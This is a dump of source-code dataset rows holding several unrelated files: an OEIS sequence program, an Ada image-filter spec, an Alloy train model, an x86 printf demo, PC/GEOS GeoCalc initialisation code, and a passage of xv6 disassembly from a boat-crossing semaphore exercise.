max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
programs/oeis/033/A033567.asm | karttu/loda | 1 | 104536 | <gh_stars>1-10
; A033567: a(n) = (2*n-1)*(4*n-1).
; 1,3,21,55,105,171,253,351,465,595,741,903,1081,1275,1485,1711,1953,2211,2485,2775,3081,3403,3741,4095,4465,4851,5253,5671,6105,6555,7021,7503,8001,8515,9045,9591,10153,10731,11325,11935,12561,13203,13861,14535,15225,15931,16653,17391,18145,18915,19701,20503,21321,22155,23005,23871,24753,25651,26565,27495,28441,29403,30381,31375,32385,33411,34453,35511,36585,37675,38781,39903,41041,42195,43365,44551,45753,46971,48205,49455,50721,52003,53301,54615,55945,57291,58653,60031,61425,62835,64261,65703,67161,68635,70125,71631,73153,74691,76245,77815,79401,81003,82621,84255,85905,87571,89253,90951,92665,94395,96141,97903,99681,101475,103285,105111,106953,108811,110685,112575,114481,116403,118341,120295,122265,124251,126253,128271,130305,132355,134421,136503,138601,140715,142845,144991,147153,149331,151525,153735,155961,158203,160461,162735,165025,167331,169653,171991,174345,176715,179101,181503,183921,186355,188805,191271,193753,196251,198765,201295,203841,206403,208981,211575,214185,216811,219453,222111,224785,227475,230181,232903,235641,238395,241165,243951,246753,249571,252405,255255,258121,261003,263901,266815,269745,272691,275653,278631,281625,284635,287661,290703,293761,296835,299925,303031,306153,309291,312445,315615,318801,322003,325221,328455,331705,334971,338253,341551,344865,348195,351541,354903,358281,361675,365085,368511,371953,375411,378885,382375,385881,389403,392941,396495,400065,403651,407253,410871,414505,418155,421821,425503,429201,432915,436645,440391,444153,447931,451725,455535,459361,463203,467061,470935,474825,478731,482653,486591,490545,494515
mov $1,4
mul $1,$0
sub $1,1
bin $1,2
|
src/imagefilters.ads | sebsgit/textproc | 0 | 20563 | <filename>src/imagefilters.ads
with PixelArray;
package ImageFilters is
type Kernel is array (Natural range <>) of Float;
function generateKernel(size: Positive; sigma: Float) return Kernel;
function gaussian(image: PixelArray.ImagePlane; size: Positive; sigma: Float) return PixelArray.ImagePlane;
end ImageFilters;
|
alloy4fun_models/trainstlt/models/8/xQ7ScDyCesEk4Peiz.als | Kaixi26/org.alloytools.alloy | 0 | 4027 | open main
pred idxQ7ScDyCesEk4Peiz_prop9 {
always ( all t:Train | some Track implies eventually (some t.pos :> Entry) )
}
pred __repair { idxQ7ScDyCesEk4Peiz_prop9 }
check __repair { idxQ7ScDyCesEk4Peiz_prop9 <=> prop9o } |
src/printf.asm | MarioSieg/Utilitiy-Routines | 1 | 96175 | <reponame>MarioSieg/Utilitiy-Routines<filename>src/printf.asm
.extern printf
.data
msg: .asciz "Hey!"
fmt: .asciz "The string is: %s\n"
fmt2: .asciz "X is: %lld\n"
fmt3: .asciz "PI is: %f\n"
val: .quad 123456789
pi: .double 3.1415
.text
.globl main
main:
pushq %rbp # prologue
movq %rsp, %rbp # prologue
movq $fmt, %rdi # format string ptr
movq $msg, %rsi # message ptr
xorl %eax, %eax # no xmm floats
callq printf
movq $fmt2, %rdi # format string ptr
movq (val), %rsi # value
xorl %eax, %eax # no xmm floats
callq printf
movq $fmt3, %rdi # format string ptr
movq (pi), %xmm0 # value
movq $1, %rax # using xmm floats
callq printf
movq %rbp, %rsp # epilogue
popq %rbp # epilogue
movq $60, %rax # exit
xorl %edi, %edi # success
syscall
|
Appl/GeoCalc/Main/mainInit.asm | steakknife/pcgeos | 504 | 102935 | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Init
FILE: mainInit.asm
AUTHOR: <NAME>, Feb 19, 1990
ROUTINES:
Name Description
---- -----------
GeoCalcOpenApplication MSG_GEN_PROCESS_OPEN_APPLICATION
GeoCalcCloseApplication MSG_GEN_PROCESS_CLOSE_APPLICATION
GeoCalcInstallToken MSG_GEN_PROCESS_INSTALL_TOKEN
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 2/1/91 Initial revision
DESCRIPTION:
Contains intialization routines for PC/GEOS GeoCalc
$Id: mainInit.asm,v 1.1 97/04/04 15:49:01 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcOpenApplication
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize GeoCalc -- build a fonts menu
CALLED BY: MSG_GEN_PROCESS_OPEN_APPLICATION
PASS: cx - AppAttachFlags
dx - Handle of AppLaunchBlock
bp - Handle of extra state block
ds - dgroup
RETURN: none
DESTROYED: ax, cx, dx, si, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 2/19/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if _USE_FEP
LocalDefNLString fepDir <"FEP",0>
fepCategory char "fep",0
fepDriverKey char "driver",0
udata segment
;
; fep variables
;
fepDriverHandle hptr
fepStrategy fptr.far
udata ends
endif
GeoCalcOpenApplication method GeoCalcProcessClass, MSG_GEN_PROCESS_OPEN_APPLICATION
push bp ;save extra block handle
push ax, cx, dx
if _USE_FEP
;
; load FEP reference
;
push si
push ds ; save dgroup
segmov ds, cs, cx
mov si, offset fepCategory
mov dx, offset fepDriverKey
clr bp ; get heap block
call InitFileReadString ; carry set if none
mov ax, 0 ; in case no FEP
jc noFEP
push bx
call FilePushDir
mov bx, SP_SYSTEM
segmov ds, cs
mov dx, offset fepDir
call FileSetCurrentPath
jc noFEPPop
pop bx
push bx
call MemLock
mov ds, ax
clr si, ax, bx
call GeodeUseDriver
call FilePopDir
mov ax, 0 ; in case no FEP
jc noFEPPop
mov dx, bx ; dx = fep driver handle
call GeodeInfoDriver ; ds:si = driver info
mov ax, ds:[si].DIS_strategy.segment
mov si, ds:[si].DIS_strategy.offset
noFEPPop:
pop bx
call MemFree
noFEP:
pop ds ; ds = dgroup
mov ds:[fepStrategy].segment, ax
mov ds:[fepStrategy].offset, si
mov ds:[fepDriverHandle], dx
pop si
endif
;
; register ourselves
;
call GeodeGetProcessHandle ;bx <- process handle
mov cx, bx
clr dx
call ClipboardAddToNotificationList
;
; Add to INI file change notification list.
;
pop ax, cx, dx
if not _SAVE_TO_STATE
;
; stuff last file, if any, into AppLaunchBlock
;
push ax, cx, dx, bp, si, ds, es
mov bx, dx ;bx = AppLaunchBlock
push bx ;save AppLaunchBlock
call MemLock
mov es, ax
mov ax, cs
mov ds, ax
mov si, offset saveFileCategory
mov cx, ax
mov dx, offset saveFilePathKey
mov di, offset ALB_path
mov bp, size PathName
call InitFileReadData ;read path
jc noDoc
mov cx, cs
mov dx, offset saveFileNameKey
mov di, offset ALB_dataFile
mov bp, size FileLongName
call InitFileReadData ;read filename
jc noDoc
mov cx, cs
mov dx, offset saveFileDiskKey
clr bp ; allocate buffer
call InitFileReadData ; bx = buffer, cx = size
jc noDoc
call MemLock
mov ds, ax ; ds:si = DiskSave data
clr si
clr cx ; no callback
call DiskRestore ; ax = disk handle
pushf
call MemFree ; free DiskSave data
popf
jc noDoc ; couldn't restore
mov es:[ALB_diskHandle], ax
noDoc:
pop bx ;unlock AppLaunchBlock
call MemUnlock
;
; delete last file for next time
;
mov cx, cs
mov dx, offset saveFileNameKey
mov ds, cx
mov si, offset saveFileCategory
call InitFileDeleteEntry
mov dx, offset saveFilePathKey
call InitFileDeleteEntry
mov dx, offset saveFileDiskKey
call InitFileDeleteEntry
pop ax, cx, dx, bp, si, ds, es
endif
;
; Call our superclass to get the ball rolling...
;
mov di, offset GeoCalcProcessClass
call ObjCallSuperNoLock
pop bx ;bx <- block handle for data
if (size procVars) gt (size GenProcessInstance)
tst bx ;check for no block
jz quit ;branch if no state data
call MemLock ;lock state variables
mov ds, ax ;ds:si <- source
clr si
GetResourceSegmentNS dgroup, es ;es:di <- dest
mov di, offset dgroup:procVars
mov cx, size procVars ;cx <- byte count
rep movsb ;copy the state data
call MemUnlock ;release the state block
quit:
endif
;
; Tell the GrObj to do something useful
;
if _CHARTS
GetResourceHandleNS GCGrObjHead, bx
mov si, offset GCGrObjHead
mov ax, MSG_GH_SEND_NOTIFY_CURRENT_TOOL
mov di, mask MF_FORCE_QUEUE
call ObjMessage
endif
;
; Ignore undo for the duration of this launch
;
clr di
call GeodeGetProcessHandle
mov cx, 1 ;flush actions
mov ax,MSG_GEN_PROCESS_UNDO_IGNORE_ACTIONS
call ObjMessage
ret
GeoCalcOpenApplication endm
if not _SAVE_TO_STATE
; DO NOT CHANGE THESE UNLESS YOU ALSO CHANGE THE KEYS IN
; Document/documentClass.asm
saveFileCategory char 'geocalc',0
saveFileNameKey char 'savedFilenameNew',0
saveFilePathKey char 'savedFilepathNew',0
saveFileDiskKey char 'savedFileDisk',0
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcCloseApplication
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close down GeoCalc
CALLED BY: MSG_GEN_PROCESS_CLOSE_APPLICATION
PASS: ds - dgroup
es - seg addr of GeoCalcProcessClass
ax - the method
RETURN: cx - handle of block to save (0 for none)
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/ 7/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcCloseApplication method dynamic GeoCalcProcessClass, \
MSG_GEN_PROCESS_CLOSE_APPLICATION
if _USE_FEP
;
; done with FEP driver
;
mov ax, 0
xchg ds:[fepStrategy].segment, ax
tst ax
jz noFep
mov bx, ds:[fepDriverHandle]
call GeodeFreeLibrary
noFep:
endif
;
; unregister ourselves
;
call GeodeGetProcessHandle ; bx <- process handle
mov cx, bx
clr dx
call ClipboardRemoveFromNotificationList
;
; Remove ourselves from the INI file change list.
;
clr di
call GeodeGetProcessHandle
mov ax, MSG_GEN_PROCESS_UNDO_ACCEPT_ACTIONS
call ObjMessage
;
; Do the superclass thing
;
mov ax, MSG_GEN_PROCESS_CLOSE_APPLICATION
mov di, offset GeoCalcProcessClass
call ObjCallSuperNoLock
;
; Save the instance data
;
if ((size procVars) le (size GenProcessInstance)) or not _SAVE_TO_STATE
clr cx
else
;
; Allocate a block to save the data into.
;
mov ax, size procVars ; ax <- size of state variables
mov cx, mask HF_SWAPABLE or \
((mask HAF_LOCK) shl 8)
call MemAlloc ; bx <- block handle
mov cx, 0 ; cx <- in case of error
jc quit ; branch if error
; ax <- segment address
;
; Copy the data from the procVars into the destination block.
;
mov es, ax ; es:di <- destination
clr di
; ds:si <- source
mov si, offset dgroup:procVars
mov cx, size procVars ; cx <- size
;
; Check if ds is pointing to DGroup
;
EC< push ax, bx, ds >
EC< mov ax, ds >
EC< GetResourceSegmentNS dgroup, ds >
EC< mov bx, ds >
EC< cmp ax, bx >
EC< ERROR_NE -1 >
EC< pop ax, bx, ds >
rep movsb ; Copy the state data
;
; Release the block and return the block handle.
;
call MemUnlock ; Unlock the block
mov cx, bx ; cx <- block handle
quit:
endif
ret
GeoCalcCloseApplication endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcCreateNewStateFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: MSG_GEN_PROCESS_CREATE_NEW_STATE_FILE
PASS: *ds:si = GeoCalcProcessClass object
ds:di = GeoCalcProcessClass instance data
ds:bx = GeoCalcProcessClass object (same as *ds:si)
es = segment of GeoCalcProcessClass
ax = message #
dx = Block handle to block of structure
AppInstanceReference
CurPath - Set to state directory
RETURN: ax - VM file handle (0 if you want no state file)
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 3/10/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if not _SAVE_TO_STATE
GeoCalcCreateNewStateFile method dynamic GeoCalcProcessClass,
MSG_GEN_PROCESS_CREATE_NEW_STATE_FILE
clr ax ; no state file
ret
GeoCalcCreateNewStateFile endm
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GeoCalcInstallToken
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Install tokens
CALLED BY: MSG_GEN_PROCESS_INSTALL_TOKEN
PASS: none
RETURN: none
DESTROYED: ax, cx, dx, si, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 2/1/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GeoCalcInstallToken method GeoCalcProcessClass, \
MSG_GEN_PROCESS_INSTALL_TOKEN
;
; Call our superclass to get the ball rolling...
;
mov di, offset GeoCalcProcessClass
call ObjCallSuperNoLock
;
; install datafile token
;
mov ax, ('G') or ('C' shl 8) ; ax:bx:si = token used for
mov bx, ('D') or ('a' shl 8) ; datafile
mov si, MANUFACTURER_ID_GEOWORKS
call TokenGetTokenInfo ; is it there yet?
jnc done ; yes, do nothing
mov cx, handle GCDatafileMonikerList ; cx:dx = OD of moniker list
mov dx, offset GCDatafileMonikerList
clr bp ; list is in data resource...
call TokenDefineToken ; add icon to token database
done:
ret
GeoCalcInstallToken endm
InitCode ends
|
lab02/lab2/boat.asm | ahchu1993/opsys | 0 | 244099 | <reponame>ahchu1993/opsys
_boat: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
void CannibalArrives();
void RowBoat();
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 20 sub $0x20,%esp
sem_init(&boat, 3);
9: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
10: 00
11: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
18: e8 c9 10 00 00 call 10e6 <sem_init>
sem_init(&display, 1);
1d: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
24: 00
25: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
2c: e8 b5 10 00 00 call 10e6 <sem_init>
sem_init(&cann, 3);
31: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
38: 00
39: c7 04 24 e0 18 00 00 movl $0x18e0,(%esp)
40: e8 a1 10 00 00 call 10e6 <sem_init>
sem_init_full(&loading, 3);
45: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
4c: 00
4d: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp)
54: e8 b2 10 00 00 call 110b <sem_init_full>
sem_signal(&loading);
59: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp)
60: e8 32 11 00 00 call 1197 <sem_signal>
sem_signal(&loading);
65: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp)
6c: e8 26 11 00 00 call 1197 <sem_signal>
sem_signal(&loading);
71: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp)
78: e8 1a 11 00 00 call 1197 <sem_signal>
sem_init(&mutex, 1);
7d: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
84: 00
85: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp)
8c: e8 55 10 00 00 call 10e6 <sem_init>
sem_init(&mutex2, 1);
91: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
98: 00
99: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
a0: e8 41 10 00 00 call 10e6 <sem_init>
sem_init_full(&prevention, 1);
a5: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
ac: 00
ad: c7 04 24 e0 19 00 00 movl $0x19e0,(%esp)
b4: e8 52 10 00 00 call 110b <sem_init_full>
int i;
int population = 12;
b9: c7 44 24 18 0c 00 00 movl $0xc,0x18(%esp)
c0: 00
for(i = 0; i < population; i++)
c1: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp)
c8: 00
c9: eb 3f jmp 10a <main+0x10a>
{
if(random(3)) thread_create(MissionaryArrives, 0);
cb: c7 04 24 03 00 00 00 movl $0x3,(%esp)
d2: e8 cf 0e 00 00 call fa6 <random>
d7: 85 c0 test %eax,%eax
d9: 74 16 je f1 <main+0xf1>
db: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
e2: 00
e3: c7 04 24 37 01 00 00 movl $0x137,(%esp)
ea: e8 ea 0d 00 00 call ed9 <thread_create>
ef: eb 14 jmp 105 <main+0x105>
else thread_create(CannibalArrives, 0);
f1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
f8: 00
f9: c7 04 24 59 03 00 00 movl $0x359,(%esp)
100: e8 d4 0d 00 00 call ed9 <thread_create>
int i;
int population = 12;
for(i = 0; i < population; i++)
105: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
10a: 8b 44 24 1c mov 0x1c(%esp),%eax
10e: 3b 44 24 18 cmp 0x18(%esp),%eax
112: 7c b7 jl cb <main+0xcb>
}
// for(i = 0; i < 3; i++) thread_create(MissionaryArrives, 0);
// for(i = 0; i < 4; i++) thread_create(CannibalArrives, 0);
while(wait() > 0);
114: 90 nop
115: e8 f0 07 00 00 call 90a <wait>
11a: 85 c0 test %eax,%eax
11c: 7f f7 jg 115 <main+0x115>
printf(1, "done moving\n");
11e: c7 44 24 04 1c 12 00 movl $0x121c,0x4(%esp)
125: 00
126: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12d: e8 78 09 00 00 call aaa <printf>
exit();
132: e8 cb 07 00 00 call 902 <exit>
00000137 <MissionaryArrives>:
}
void MissionaryArrives()
{
137: 55 push %ebp
138: 89 e5 mov %esp,%ebp
13a: 56 push %esi
13b: 53 push %ebx
13c: 83 ec 20 sub $0x20,%esp
sem_aquire(&boat);
13f: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
146: e8 e6 0f 00 00 call 1131 <sem_aquire>
sem_aquire(&display);
14b: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
152: e8 da 0f 00 00 call 1131 <sem_aquire>
printf(1, "1: (%d) missionary arrived, %d, %d\n", getpid(), total, con);
157: 8b 35 88 18 00 00 mov 0x1888,%esi
15d: 8b 1d 84 18 00 00 mov 0x1884,%ebx
163: e8 1a 08 00 00 call 982 <getpid>
168: 89 74 24 10 mov %esi,0x10(%esp)
16c: 89 5c 24 0c mov %ebx,0xc(%esp)
170: 89 44 24 08 mov %eax,0x8(%esp)
174: c7 44 24 04 2c 12 00 movl $0x122c,0x4(%esp)
17b: 00
17c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
183: e8 22 09 00 00 call aaa <printf>
sem_signal(&display);
188: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
18f: e8 03 10 00 00 call 1197 <sem_signal>
sem_aquire(&mutex2);
194: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
19b: e8 91 0f 00 00 call 1131 <sem_aquire>
while(total + 1 == 5){ con++;
1a0: e9 db 00 00 00 jmp 280 <MissionaryArrives+0x149>
1a5: a1 88 18 00 00 mov 0x1888,%eax
1aa: 83 c0 01 add $0x1,%eax
1ad: a3 88 18 00 00 mov %eax,0x1888
sem_signal(&mutex2);
1b2: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
1b9: e8 d9 0f 00 00 call 1197 <sem_signal>
sem_signal(&boat);
1be: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
1c5: e8 cd 0f 00 00 call 1197 <sem_signal>
sem_aquire(&display);
1ca: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
1d1: e8 5b 0f 00 00 call 1131 <sem_aquire>
printf(1, "1: (%d) missionary denied boarding, %d, %d\n", getpid(), total, con);
1d6: 8b 35 88 18 00 00 mov 0x1888,%esi
1dc: 8b 1d 84 18 00 00 mov 0x1884,%ebx
1e2: e8 9b 07 00 00 call 982 <getpid>
1e7: 89 74 24 10 mov %esi,0x10(%esp)
1eb: 89 5c 24 0c mov %ebx,0xc(%esp)
1ef: 89 44 24 08 mov %eax,0x8(%esp)
1f3: c7 44 24 04 50 12 00 movl $0x1250,0x4(%esp)
1fa: 00
1fb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
202: e8 a3 08 00 00 call aaa <printf>
sem_signal(&display);
207: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
20e: e8 84 0f 00 00 call 1197 <sem_signal>
sem_aquire(&prevention);
213: c7 04 24 e0 19 00 00 movl $0x19e0,(%esp)
21a: e8 12 0f 00 00 call 1131 <sem_aquire>
sem_aquire(&display);
21f: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
226: e8 06 0f 00 00 call 1131 <sem_aquire>
printf(1, "1: (%d) missionary prevented death, %d, %d\n", getpid(), total, con);
22b: 8b 35 88 18 00 00 mov 0x1888,%esi
231: 8b 1d 84 18 00 00 mov 0x1884,%ebx
237: e8 46 07 00 00 call 982 <getpid>
23c: 89 74 24 10 mov %esi,0x10(%esp)
240: 89 5c 24 0c mov %ebx,0xc(%esp)
244: 89 44 24 08 mov %eax,0x8(%esp)
248: c7 44 24 04 7c 12 00 movl $0x127c,0x4(%esp)
24f: 00
250: c7 04 24 01 00 00 00 movl $0x1,(%esp)
257: e8 4e 08 00 00 call aaa <printf>
sem_signal(&display);
25c: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
263: e8 2f 0f 00 00 call 1197 <sem_signal>
sem_aquire(&boat);
268: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
26f: e8 bd 0e 00 00 call 1131 <sem_aquire>
sem_aquire(&mutex2);
274: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
27b: e8 b1 0e 00 00 call 1131 <sem_aquire>
printf(1, "1: (%d) missionary arrived, %d, %d\n", getpid(), total, con);
sem_signal(&display);
sem_aquire(&mutex2);
while(total + 1 == 5){ con++;
280: a1 84 18 00 00 mov 0x1884,%eax
285: 83 f8 04 cmp $0x4,%eax
288: 0f 84 17 ff ff ff je 1a5 <MissionaryArrives+0x6e>
sem_signal(&display);
sem_aquire(&boat);
sem_aquire(&mutex2);
}
sem_signal(&mutex2);
28e: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
295: e8 fd 0e 00 00 call 1197 <sem_signal>
sem_aquire(&mutex2);
29a: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
2a1: e8 8b 0e 00 00 call 1131 <sem_aquire>
total += 1;
2a6: a1 84 18 00 00 mov 0x1884,%eax
2ab: 83 c0 01 add $0x1,%eax
2ae: a3 84 18 00 00 mov %eax,0x1884
sem_signal(&mutex2);
2b3: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
2ba: e8 d8 0e 00 00 call 1197 <sem_signal>
sem_aquire(&display);
2bf: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
2c6: e8 66 0e 00 00 call 1131 <sem_aquire>
printf(1, "2: (%d) missionary enters boat, %d, %d\n", getpid(), total, con);
2cb: 8b 35 88 18 00 00 mov 0x1888,%esi
2d1: 8b 1d 84 18 00 00 mov 0x1884,%ebx
2d7: e8 a6 06 00 00 call 982 <getpid>
2dc: 89 74 24 10 mov %esi,0x10(%esp)
2e0: 89 5c 24 0c mov %ebx,0xc(%esp)
2e4: 89 44 24 08 mov %eax,0x8(%esp)
2e8: c7 44 24 04 a8 12 00 movl $0x12a8,0x4(%esp)
2ef: 00
2f0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f7: e8 ae 07 00 00 call aaa <printf>
sem_signal(&display);
2fc: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
303: e8 8f 0e 00 00 call 1197 <sem_signal>
sem_aquire(&mutex);
308: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp)
30f: e8 1d 0e 00 00 call 1131 <sem_aquire>
bp++;
314: a1 80 18 00 00 mov 0x1880,%eax
319: 83 c0 01 add $0x1,%eax
31c: a3 80 18 00 00 mov %eax,0x1880
sem_signal(&mutex);
321: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp)
328: e8 6a 0e 00 00 call 1197 <sem_signal>
if (bp < 3) sem_aquire(&loading);
32d: a1 80 18 00 00 mov 0x1880,%eax
332: 83 f8 02 cmp $0x2,%eax
335: 7f 0c jg 343 <MissionaryArrives+0x20c>
337: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp)
33e: e8 ee 0d 00 00 call 1131 <sem_aquire>
// sem_aquire(&display);
// printf(1, "bp missionary: %d\n", bp);
// sem_signal(&display);
RowBoat();
343: e8 33 02 00 00 call 57b <RowBoat>
sem_signal(&loading);
348: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp)
34f: e8 43 0e 00 00 call 1197 <sem_signal>
texit();
354: e8 51 06 00 00 call 9aa <texit>
00000359 <CannibalArrives>:
}
void CannibalArrives()
{
359: 55 push %ebp
35a: 89 e5 mov %esp,%ebp
35c: 56 push %esi
35d: 53 push %ebx
35e: 83 ec 20 sub $0x20,%esp
sem_aquire(&boat);
361: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
368: e8 c4 0d 00 00 call 1131 <sem_aquire>
sem_aquire(&display);
36d: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
374: e8 b8 0d 00 00 call 1131 <sem_aquire>
printf(1, "1: (%d) cannibal arrived, %d, %d\n", getpid(), total, con);
379: 8b 35 88 18 00 00 mov 0x1888,%esi
37f: 8b 1d 84 18 00 00 mov 0x1884,%ebx
385: e8 f8 05 00 00 call 982 <getpid>
38a: 89 74 24 10 mov %esi,0x10(%esp)
38e: 89 5c 24 0c mov %ebx,0xc(%esp)
392: 89 44 24 08 mov %eax,0x8(%esp)
396: c7 44 24 04 d0 12 00 movl $0x12d0,0x4(%esp)
39d: 00
39e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3a5: e8 00 07 00 00 call aaa <printf>
sem_signal(&display);
3aa: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
3b1: e8 e1 0d 00 00 call 1197 <sem_signal>
sem_aquire(&mutex2);
3b6: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
3bd: e8 6f 0d 00 00 call 1131 <sem_aquire>
while(total + 2 == 5) { con++;
3c2: e9 db 00 00 00 jmp 4a2 <CannibalArrives+0x149>
3c7: a1 88 18 00 00 mov 0x1888,%eax
3cc: 83 c0 01 add $0x1,%eax
3cf: a3 88 18 00 00 mov %eax,0x1888
sem_signal(&mutex2);
3d4: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp)
3db: e8 b7 0d 00 00 call 1197 <sem_signal>
sem_signal(&boat);
3e0: c7 04 24 20 19 00 00 movl $0x1920,(%esp)
3e7: e8 ab 0d 00 00 call 1197 <sem_signal>
sem_aquire(&display);
3ec: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
3f3: e8 39 0d 00 00 call 1131 <sem_aquire>
printf(1, "1: (%d) cannibal denied boarding, %d, %d\n", getpid(), total, con);
3f8: 8b 35 88 18 00 00 mov 0x1888,%esi
3fe: 8b 1d 84 18 00 00 mov 0x1884,%ebx
404: e8 79 05 00 00 call 982 <getpid>
409: 89 74 24 10 mov %esi,0x10(%esp)
40d: 89 5c 24 0c mov %ebx,0xc(%esp)
411: 89 44 24 08 mov %eax,0x8(%esp)
415: c7 44 24 04 f4 12 00 movl $0x12f4,0x4(%esp)
41c: 00
41d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
424: e8 81 06 00 00 call aaa <printf>
sem_signal(&display);
429: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
430: e8 62 0d 00 00 call 1197 <sem_signal>
sem_aquire(&prevention);
435: c7 04 24 e0 19 00 00 movl $0x19e0,(%esp)
43c: e8 f0 0c 00 00 call 1131 <sem_aquire>
sem_aquire(&display);
441: c7 04 24 60 19 00 00 movl $0x1960,(%esp)
448: e8 e4 0c 00 00 call 1131 <sem_aquire>
printf(1, "1: (%d) cannibal prevented meal, %d, %d\n", getpid(), total, con);
44d: 8b 35 88 18 00 00 mov 0x1888,%esi
453: 8b 1d 84 18 00 00 mov 0x1884,%ebx
459: e8 24 05 00 00 call 982 <getpid>
45e: 89 74 24 10 mov %esi,0x10(%esp)
462: 89 5c 24 0c mov %ebx,0xc(%esp)
466: 89 44 24 08 mov %eax,0x8(%esp)
